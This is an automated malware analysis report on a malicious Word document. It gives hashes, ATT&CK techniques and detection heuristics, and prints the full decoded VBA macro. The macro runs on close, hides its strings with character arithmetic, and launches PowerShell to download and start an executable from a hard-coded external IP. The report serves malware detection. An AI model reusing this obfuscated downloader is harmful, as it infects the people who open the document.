Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 96150a4ddc7a8305…

MALICIOUS

Office (OLE) / .DOC

53.0 KB Created: 2015-03-23 05:47:00 Authoring application: Microsoft Office Word First seen: 2022-09-16
MD5: 1db18e233cda5ff495e712dbc2b7ad65 SHA-1: 45eaf284e623d40f9e6e12c692476af0abaee506 SHA-256: 96150a4ddc7a8305fb709784a8935c7ea23f60f6bd9ed4222ffb06e74db56dc3
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the high heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate the presence of code that executes via the Shell function, triggered by the 'autoclose' macro. This suggests the macro's purpose is to download and execute a secondary payload. No specific family could be identified.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         IUGuyguisdf = Shell(JHGUgisdc, 0)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4945 bytes
SHA-256: 81de32ac80e87e6c6a78d567a0053dd3ce99f30a4d93153e0b06253561e4bf11
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoclose()
sdfsdfdsf
End Sub

Attribute VB_Name = "Module1"
Sub sdfsdfdsf()
GVhkjbjv = chrw(49.5 + 49.5) & chrw(54.5 + 54.5) & chrw(50 + 50) & chrw(16 + 16) & chrw(23.5 + 23.5) & chrw(37.5 + 37.5) & chrw(16 + 16) & chrw(56 + 56) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(50.5 + 50.5) & chrw(57 + 57) & chrw(57.5 + 57.5) & chrw(52 + 52) & chrw(50.5 + 50.5) & chrw(54 + 54) & chrw(54 + 54) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(22.5 + 22.5) & chrw(34.5 + 34.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58.5 + 58.5) & chrw(58 + 58) & chrw(52.5 + 52.5) & chrw(55.5 + 55.5) & chrw(55 + 55) & chrw(40 + 40) & chrw(55.5 + 55.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(49.5 + 49.5) & chrw(60.5 + 60.5) & chrw(16 + 16) & chrw(49 + 49) & chrw(60.5 + 60.5) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(57.5 + 57.5) & chrw(57.5 + 57.5) & chrw(16 + 16)
GYUUYIiii = chrw(22.5 + 22.5) & chrw(55 + 55) & chrw(55.5 + 55.5) & chrw(56 + 56) & chrw(57 + 57) & chrw(55.5 + 55.5) & chrw(51 + 51) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(20 + 20) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(59.5 + 59.5) & chrw(22.5 + 22.5) & chrw(39.5 + 39.5) & chrw(49 + 49) & chrw(53 + 53) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58 + 58) & chrw(16 + 16) & chrw(41.5 + 41.5) & chrw(60.5 + 60.5) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(50.5 + 50.5) & chrw(54.5 + 54.5) & chrw(23 + 23) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(58 + 58) & chrw(23 + 23) & chrw(43.5 + 43.5) & chrw(50.5 + 50.5) & chrw(49 + 49) & chrw(33.5 + 33.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(50.5 + 50.5) & chrw(55 + 55) & chrw(58 + 58) & chrw(20.5 + 20.5) & chrw(23 + 23)
hgFYyhhshu = chrw(34 + 34) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(55 + 55) & chrw(54 + 54) & chrw(55.5 + 55.5) & chrw(48.5 + 48.5) & chrw(50 + 50) & chrw(35 + 35) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(20 + 20) & chrw(19.5 + 19.5) & chrw(52 + 52) & chrw(58 + 58) & chrw(58 + 58) & chrw(56 + 56) & chrw(29 + 29) & chrw(23.5 + 23.5) & chrw(23.5 + 23.5) & chrw(24.5 + 24.5) & chrw(28 + 28) & chrw(26.5 + 26.5) & chrw(23 + 23) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(24.5 + 24.5) & chrw(26 + 26) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(25 + 25) & chrw(24.5 + 24.5) & chrw(23.5 + 23.5) & chrw(53 + 53) & chrw(57.5 + 57.5) & chrw(48.5 + 48.5) & chrw(60 + 60) & chrw(55.5 + 55.5) & chrw(28 + 28) & chrw(58.5 + 58.5) & chrw(23.5 + 23.5) & chrw(51.5 + 51.5) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(49 + 49) & chrw(25 + 25) & chrw(49.5 + 49.5) & chrw(60 + 60) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(19.5 + 19.5)
GYiuudsuds = chrw(22 + 22) & chrw(19.5 + 19.5) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(19.5 + 19.5) & chrw(20.5 + 20.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(55 + 55) & chrw(50 + 50) & chrw(16 + 16)
shdfihiof = chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23)
doifhsoip = chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(48.5 + 48.5) & chrw(57 + 57) & chrw(58 + 58) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5)
JHGUgisdc = GVhkjbjv + GYUUYIiii + hgFYyhhshu + GYiuudsuds + shdfihiof + doifhsoip
     IUGuyguisdf = Shell(JHGUgisdc, 0)
     End Sub

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